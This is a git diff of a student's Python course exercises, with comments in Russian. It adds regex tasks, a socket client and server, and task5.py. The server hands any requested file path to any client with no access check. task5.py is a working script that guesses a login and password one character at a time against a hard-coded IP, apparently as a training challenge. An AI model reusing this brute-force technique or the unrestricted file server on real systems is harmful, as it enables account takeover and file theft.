summaryrefslogtreecommitdiff
path: root/day4
diff options
context:
space:
mode:
Diffstat (limited to 'day4')
-rw-r--r--day4/task1/task1.py4
-rw-r--r--day4/task2/task2.py17
-rw-r--r--day4/task4/client.py135
-rw-r--r--day4/task4/server.py125
-rw-r--r--day4/task5/task5.py78
5 files changed, 359 insertions, 0 deletions
diff --git a/day4/task1/task1.py b/day4/task1/task1.py
new file mode 100644
index 0000000..7b16685
--- /dev/null
+++ b/day4/task1/task1.py
@@ -0,0 +1,4 @@
+import re
+
+s = 'this =- is , bad ! text #$%^123%^'
+print(re.sub(r'[^a-zA-Zа-яА-ЯёЁ]', ' ', s))
diff --git a/day4/task2/task2.py b/day4/task2/task2.py
new file mode 100644
index 0000000..b4c69d2
--- /dev/null
+++ b/day4/task2/task2.py
@@ -0,0 +1,17 @@
+import re
+
+with open('index.html') as f:
+ data = f.read()
+
+
+# Оставлю паттерн в этом виде, потому что пайчарм подсвечивает регулярки в связанных с ними функциях
+url_pattern = re.compile(r'https?://([a-zA-Z0-9-_]+?\b\.)+([a-zA-Z0-9-_]+?\b)/?(([a-zA-Z0-9-_.]+?\b/)+([a-zA-Z0-9\-_.]+)/?)?')
+
+# re.DOTALL нужен потому что в примере внутри тега с картинкой есть перевод строки,
+# а . не матчит переносы. Можно было бы заменить ".*?" на "(\n|.)*?", но так может появиться
+# лишняя группа в начале из-за чего искомая ссылка не будет гарантированно(!) первой сматченной группой.
+pattern = re.compile(f'<img.*?src=[\'"]?({url_pattern.pattern})["\']?.*?/?>', re.DOTALL)
+
+matches = re.findall(pattern, data)
+links = list(map(lambda match: match[0], matches))
+print(links)
diff --git a/day4/task4/client.py b/day4/task4/client.py
new file mode 100644
index 0000000..b6f0ab8
--- /dev/null
+++ b/day4/task4/client.py
@@ -0,0 +1,135 @@
+import socket
+from time import sleep
+import struct
+import json
+import shelve
+
+try:
+ from tqdm import tqdm
+ TQDM = True
+except ImportError:
+ print('Для вывода прогресса загрузки файлов установите библиотеку tqdm')
+ TQDM = False
+
+
+DATATYPE_SIZE = 4 # int
+CHUNK_SIZE = 4096000
+HOST, PORT = ADDR = 'localhost', 6000
+
+
+class Client:
+ def __init__(self, server_host, server_port):
+ self.server = socket.socket()
+ self.db = shelve.open('backdoor.db')
+
+ address = server_host, server_port
+ cnt = 0
+ while cnt < 10:
+ try:
+ cnt += 1
+ self.server.connect(address)
+
+ except ConnectionRefusedError:
+ print('Не удалось подключиться к серверу. Следующая попытка через 3 секунды...')
+ sleep(3)
+
+ else:
+ break
+
+ else:
+ print('Не удалось подключиться к серверу через 10 попыток.\nОстанавливаемся...')
+ self.server.close()
+
+ def start(self):
+ while True:
+ try:
+ data = input('Введите команду:\n')
+ self.handle_input(data)
+
+ except ValueError as err:
+ print(err)
+
+ except KeyboardInterrupt:
+ break
+
+ self.server.close()
+
+ def handle_input(self, data):
+ cmd, args = data.split(' ', maxsplit=1)
+
+ if cmd == 'get':
+ self.download_file(args)
+
+ elif cmd == 'cp':
+ paths = args.split()
+ if len(paths) != 2:
+ raise ValueError('Неверное количество путей в параметрах.')
+
+ src, dest = paths
+
+ # Если файл не присутствует в БД, то предварительно его загружаем
+ if src not in self.db:
+ self.download_file(src)
+
+ # При любых ошибках при загрузке файла download_file выкинет исключение и исполнение
+ # не дойдет до этого блока, поэтому можно не проверять наличие src в БД
+ with open(dest, 'wb') as f:
+ f.write(self.db[src])
+
+ else:
+ raise ValueError('Команда не распознана')
+
+ def download_file(self, path):
+ response = self.make_get_request(path)
+ if response['status'] == 0:
+ print(f'Загружаем файл размером {response["size"]} байт...')
+
+ file_data = self.receive_data(int(response['size']), use_tqdm=True)
+ self.db[path] = file_data
+
+ print('Загрузка завершена')
+
+ elif response['status'] == 1:
+ raise ValueError(response['reason'])
+
+ elif response['status'] == 2:
+ raise ValueError(f'Неизвестная ошибка: {response["reason"]}')
+
+ def make_get_request(self, path):
+ packet = Client.pack_str(json.dumps({'method': 'get', 'path': path}))
+ self.server.sendall(packet)
+ return Client.parse_response(self.receive_data(DATATYPE_SIZE))
+
+ def receive_data(self, data_size, use_tqdm=False):
+ data = b''
+
+ # С копипастой надо бы что-то сделать, но я не знаю что
+ if not use_tqdm or not TQDM:
+ while len(data) < data_size:
+ (packet_size,) = struct.unpack('I', self.server.recv(DATATYPE_SIZE))
+ data += self.server.recv(packet_size)
+ if not data:
+ raise ConnectionError('Connection was closed')
+
+ elif TQDM:
+ for count in tqdm(range(0, data_size, CHUNK_SIZE)):
+ (packet_size,) = struct.unpack('I', self.server.recv(DATATYPE_SIZE))
+ data += self.server.recv(packet_size)
+ if not data:
+ raise ConnectionError('Connection was closed')
+
+ return data
+
+ @staticmethod
+ def pack_str(data):
+ encoded = data.encode()
+ return struct.pack('I', len(encoded)) + encoded
+
+ @staticmethod
+ def parse_response(data):
+ return json.loads(data.decode())
+
+
+if __name__ == '__main__':
+ client = Client(HOST, PORT)
+ client.start()
diff --git a/day4/task4/server.py b/day4/task4/server.py
new file mode 100644
index 0000000..d013b35
--- /dev/null
+++ b/day4/task4/server.py
@@ -0,0 +1,125 @@
+import socket
+import struct
+import json
+
+
+HOST, PORT = ADDR = '0.0.0.0', 6000
+CHUNK_SIZE = 4096000
+DATATYPE_SIZE = 4 # int
+
+
+def pack_str(data: str):
+ encoded = data.encode()
+ return struct.pack('I', len(encoded)) + encoded
+
+
+def pack_bytes(data: bytes):
+ return struct.pack('I', len(data)) + data
+
+
+def handle_request(data, connection):
+ request = json.loads(data)
+
+ # Хотя метод только один, но все равно лучше
+ # сразу написать расширяемое приложение
+ if request['method'] == 'get':
+ path = request['path']
+
+ try:
+ with open(path, 'rb') as f:
+ file_data = f.read()
+
+ except FileNotFoundError:
+ header = json.dumps({'status': 1, 'reason': 'Файл не найден'})
+ connection.sendall(pack_str(header))
+
+ except PermissionError:
+ header = json.dumps({'status': 1, 'reason': 'Файл не доступен для чтения'})
+ connection.sendall(pack_str(header))
+
+ # Я знаю, что это плохо, но сервер не должен падать,
+ # а других ошибок я не смог вспомнить
+ except Exception as e:
+ header = json.dumps({'status': 2, 'reason': f'{type(e)}: {e}'})
+ connection.sendall(pack_str(header))
+
+ else:
+ length = len(file_data)
+ header = json.dumps({'status': 0, 'size': length, 'path': request['path']})
+ connection.sendall(pack_str(header))
+ print(f'Started sending file of size {length} bytes...')
+ i = 0
+ while i < length:
+ packet = pack_bytes(file_data[i: i + CHUNK_SIZE])
+ connection.sendall(packet)
+ i += CHUNK_SIZE
+ print(i / length * 100, '%')
+ print(f'Transmission ended')
+
+
+def get_data(connection):
+ buffer = b''
+ # Считываем размер пакета
+ while len(buffer) < DATATYPE_SIZE:
+ data = connection.recv(DATATYPE_SIZE - len(buffer))
+ if not data:
+ raise ConnectionError('Connection was closed')
+
+ buffer += data
+
+ size_packed, buffer = buffer[:DATATYPE_SIZE], buffer[DATATYPE_SIZE:]
+ if not size_packed:
+ raise ConnectionError('Connection was closed')
+
+ (size,) = struct.unpack('I', size_packed)
+ data = connection.recv(size - len(buffer))
+ return buffer + data
+
+
+def handle_connection(connection, address):
+ while True:
+ try:
+ data = get_data(connection)
+
+ except ConnectionResetError:
+ print(f'Connection with {address[0]} was unexpectedly closed')
+ break
+
+ except ConnectionError:
+ print(f'Connection with {address[0]} was ended')
+ break
+
+ except KeyboardInterrupt:
+ raise KeyboardInterrupt()
+
+ else:
+ if not data:
+ print(f'Connection with {address[0]} was ended')
+ break
+ handle_request(data.decode(), connection)
+
+
+def main():
+ sock = socket.socket()
+ sock.bind(ADDR)
+ sock.listen(5)
+
+ while True:
+ print('Listening for new connections...')
+ try:
+ connection, address = sock.accept()
+ print(f'Got a connection from {address[0]}')
+ handle_connection(connection, address)
+
+ except ConnectionResetError:
+ print(f'Connection with {address[0]} was unexpectedly closed')
+
+ except KeyboardInterrupt:
+ print('Stopping server...')
+ sock.close()
+ print('Server stopped')
+ break
+
+
+if __name__ == '__main__':
+ main()
diff --git a/day4/task5/task5.py b/day4/task5/task5.py
new file mode 100644
index 0000000..5aa14db
--- /dev/null
+++ b/day4/task5/task5.py
@@ -0,0 +1,78 @@
+import requests
+import re
+import string
+
+
+def brute_login(login_len, password):
+ login = ''
+ for _ in range(login_len):
+ for char in login_alphabet:
+ resp = requests.post(url, data={
+ 'login': (login + char).ljust(login_len),
+ 'password': password
+ })
+ try:
+ if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login):
+ print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
+ login += char
+ break
+ except IndexError:
+ print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
+ login += char
+ break
+ else:
+ print('Ни один из символов алфавита не подошел.')
+ quit()
+
+ return login
+
+
+def brute_password(pass_len, login):
+ password = ''
+
+ for _ in range(pass_len):
+ for char in password_alphabet:
+ resp = requests.post(url, data={
+ 'login': login,
+ 'password': (password + char).ljust(pass_len)
+ })
+ try:
+ if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password):
+ print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
+ password += char
+ break
+ except IndexError:
+ print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
+ password += char
+ break
+ else:
+ print('Ни один из символов алфавита не подошел.')
+ quit()
+
+ return password
+
+
+url = 'http://213.178.59.123:8000/admin_auth'
+login_alphabet = string.printable
+# Судя по тому, что возвращает страничка, когда введен правильный логин
+# и в пароле правильное количество знаков, в пароле есть только цифры.
+password_alphabet = string.digits
+
+login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
+pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
+login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL)
+password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL)
+
+resp = requests.post(url, data={'login': '123', 'password': '123'})
+login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3
+real_login = brute_login(login_len, '123')
+print(f'Логин подобран: {real_login}')
+
+resp = requests.post(url, data={'login': real_login, 'password': '123'})
+pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3
+real_password = brute_password(pass_len, real_login)
+print(f'Пароль подобран: {real_password}')
+
+resp = requests.post(url, data={'login': real_login, 'password': real_password})
+code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0]
+print(f'Секретный код: {code}')